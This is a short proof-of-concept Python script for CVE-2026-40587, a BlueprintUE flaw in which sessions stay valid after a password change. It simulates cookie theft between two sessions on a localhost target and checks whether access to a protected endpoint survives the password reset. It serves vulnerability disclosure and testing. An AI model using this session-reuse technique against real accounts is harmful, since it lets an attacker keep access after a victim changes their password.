CVE-2026-40587: BlueprintUE会话未失效漏洞

# Proof of Concept (PoC) for CVE-2026-40587 # This script demonstrates that a session remains valid after a password change. import requests # Configuration target_url = "http://localhost:8080" # Replace with actual target login_endpoint = f"{target_url}/login" change_password_endpoint = f"{target_url}/api/user/password" protected_resource = f"{target_url}/api/dashboard" # User credentials username = "victim" old_password = "password123" new_password = "new_secure_password" # Initialize two sessions to simulate Attacker and Victim attacker_session = requests.Session() victim_session = requests.Session() # 1. Victim logs in and obtains a session cookie (which the attacker steals) print("[1] Victim logging in...") victim_payload = {"username": username, "password": old_password} victim_session.post(login_endpoint, data=victim_payload) # 2. Attacker steals the session cookie stolen_cookies = victim_session.cookies.get_dict() attacker_session.cookies.update(stolen_cookies) print("[2] Attacker stole the session cookie.") # 3. Verify attacker has access before password change response = attacker_session.get(protected_resource) print(f"[3] Attacker access BEFORE password change: {response.status_code} (200 means success)") # 4. Victim detects intrusion and changes password print("[4] Victim changing password...") change_payload = {"old_password": old_password, "new_password": new_password} victim_session.post(change_password_endpoint, data=change_payload) print("[5] Password changed successfully.") # 5. Attacker attempts to access the resource using the OLD stolen session print("[6] Attacker attempting access with OLD session after password change...") response_after = attacker_session.get(protected_resource) if response_after.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Old session is still valid!") else: print("[+] Session invalidated properly. Not vulnerable.")